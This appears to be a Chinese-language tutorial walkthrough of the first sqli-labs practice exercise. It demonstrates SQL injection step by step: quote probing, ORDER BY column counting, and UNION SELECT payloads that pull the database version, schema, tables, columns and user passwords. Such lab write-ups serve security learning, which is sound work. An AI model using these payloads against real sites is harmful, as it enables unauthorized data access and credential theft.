zoukankan      html  css  js  c++  java
  • sqli-labs第一题

    1. 根据提示输入数值型的id参数

    ?id=1

     

    2. 修改id参数的值,发现页面内容随之改变。id参数用户可控,可能存在注入点。

     

     3. 注入单引号  ?id='  得到如下报错信息

     注入的单引号被一对单引号包围,在sql语句中id参数应该是字符型,猜测sql语句为:

    "SELECT * FROM table_name WHERE id = '{$id}' LIMIT 0,1"

     

    4. 注入永真式和永假式,确认注入漏洞

    注入永真式,正确返回结果

     注入永假式,无返回结果,确认存在注入漏洞

    5. 利用order by子句获取列数,注入以下语句

    ?id=1' order by 1 %23

    执行成功

    ?id=1' order by 2 %23

    执行成功

    ?id=1' order by 3 %23

    执行成功

    ?id=1' order by 4 %23

    返回错误

     注:%23是‘#’的URL编码,‘#’是mysql的行注释符

     得知该表有3列

     

    6. 使用联合查询,查询数据库敏感信息

    确定联合查询的注入点

     

    获取数据库版本和系统用户名

    ?id=' union select 1,version(),system_user() '

    获取元数据

    查询数据库名

    ?id=' union select 1,2,group_concat(schema_name) from information_schema.schemata %23

    查询当前数据库的所有表

    ?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

    查询users表所有字段

    ?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23

    查询user表的所有数据

    ?id=' union select 1,2,group_concat(id,username,0x3a,password) from users %23

    注:0x3a是冒号的16进制编码,作为用户名与密码的间隔,方便区分两个字符串

  • 相关阅读:
    从veth看虚拟网络设备的qdisc
    深入学习golang(5)—接口
    深入学习golang(4)—new与make
    深入学习golang(3)—类型方法
    深入学习golang(2)—channel
    深入学习golang(1)—数组与切片
    Docker实践(6)—CentOS7上部署Kubernetes
    CoreOS实践(2)—在coreos上安装Kubernetes
    Docker实践(5)—资源隔离
    CoreOS实践(1)—CoreOS初体验
  • 原文地址:https://www.cnblogs.com/a-qi/p/13160353.html
Copyright © 2011-2022 走看看